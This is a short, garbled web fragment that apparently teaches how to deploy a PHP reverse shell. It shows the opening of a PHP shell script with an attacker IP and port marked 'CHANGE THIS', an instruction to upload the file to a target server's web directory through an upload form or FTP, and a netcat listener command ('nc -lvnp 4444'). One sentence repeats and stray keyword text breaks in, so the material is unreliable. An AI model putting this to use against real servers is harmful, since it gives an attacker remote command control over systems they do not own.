: Once the script is triggered—usually by simply visiting the URL where the file was uploaded—the server executes the code, and the attacker suddenly has a command prompt to control the server. Why It’s Used
<?php // The target IP address of your attacker machine $ip = '192.168.1.100'; // CHANGE THIS $port = 4444; // CHANGE THIS (must match netcat -lp) reverse shell php install
Upload the file to the target server’s web directory (e.g., via a file upload form or FTP). : Once the script is triggered—usually by simply
nc -lvnp 4444